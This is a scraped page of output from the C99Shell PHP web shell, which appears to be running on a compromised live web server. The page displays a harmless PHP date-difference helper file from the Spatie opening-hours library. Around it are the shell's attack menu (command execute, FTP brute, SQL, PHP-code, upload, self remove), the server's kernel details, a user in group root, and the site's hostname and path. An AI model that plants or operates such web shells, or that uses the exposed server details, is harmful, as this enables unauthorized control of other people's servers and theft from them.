!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/spatie/opening-hours/src/Helpers/   drwxr-xr-x
Free 26.4 GB of 117.98 GB (22.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DiffTrait.php (3.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\OpeningHours\Helpers;

use 
DateTimeInterface;

trait 
DiffTrait
{
    private function 
diffInSeconds(string $stateCheckMethodstring $nextDateMethodstring $skipDateMethodDateTimeInterface $startDateDateTimeInterface $endDate): float
    
{
        
$time 0;

        if (
$endDate $startDate) {
            return -
$this->diffInSeconds($stateCheckMethod$nextDateMethod$skipDateMethod$endDate$startDate);
        }

        
$date $startDate;

        while (
$date $endDate) {
            if (
$this->$stateCheckMethod($date)) {
                
$date $this->$skipDateMethod($datenull$endDate);

                continue;
            }

            
$nextDate min($endDate$this->$nextDateMethod($datenull$endDate));
            
$time += floatval($nextDate->format('U.u')) - floatval($date->format('U.u'));
            
$date $nextDate;
        }

        return 
$time;
    }

    
/**
     * Return the amount of open time (number of seconds as a floating number) between 2 dates/times.
     *
     * @param  DateTimeInterface  $startDate
     * @param  DateTimeInterface  $endDate
     * @return float
     */
    
public function diffInOpenSeconds(DateTimeInterface $startDateDateTimeInterface $endDate): float
    
{
        return 
$this->diffInSeconds('isClosedAt''nextClose''nextOpen'$startDate$endDate);
    }

    
/**
     * Return the amount of open time (number of minutes as a floating number) between 2 dates/times.
     *
     * @param  DateTimeInterface  $startDate
     * @param  DateTimeInterface  $endDate
     * @return float
     */
    
public function diffInOpenMinutes(DateTimeInterface $startDateDateTimeInterface $endDate): float
    
{
        return 
$this->diffInOpenSeconds($startDate$endDate) / 60;
    }

    
/**
     * Return the amount of open time (number of hours as a floating number) between 2 dates/times.
     *
     * @param  DateTimeInterface  $startDate
     * @param  DateTimeInterface  $endDate
     * @return float
     */
    
public function diffInOpenHours(DateTimeInterface $startDateDateTimeInterface $endDate): float
    
{
        return 
$this->diffInOpenMinutes($startDate$endDate) / 60;
    }

    
/**
     * Return the amount of closed time (number of seconds as a floating number) between 2 dates/times.
     *
     * @param  DateTimeInterface  $startDate
     * @param  DateTimeInterface  $endDate
     * @return float
     */
    
public function diffInClosedSeconds(DateTimeInterface $startDateDateTimeInterface $endDate): float
    
{
        return 
$this->diffInSeconds('isOpenAt''nextOpen''nextClose'$startDate$endDate);
    }

    
/**
     * Return the amount of closed time (number of minutes as a floating number) between 2 dates/times.
     *
     * @param  DateTimeInterface  $startDate
     * @param  DateTimeInterface  $endDate
     * @return float
     */
    
public function diffInClosedMinutes(DateTimeInterface $startDateDateTimeInterface $endDate): float
    
{
        return 
$this->diffInClosedSeconds($startDate$endDate) / 60;
    }

    
/**
     * Return the amount of closed time (number of hours as a floating number) between 2 dates/times.
     *
     * @param  DateTimeInterface  $startDate
     * @param  DateTimeInterface  $endDate
     * @return float
     */
    
public function diffInClosedHours(DateTimeInterface $startDateDateTimeInterface $endDate): float
    
{
        return 
$this->diffInClosedMinutes($startDate$endDate) / 60;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--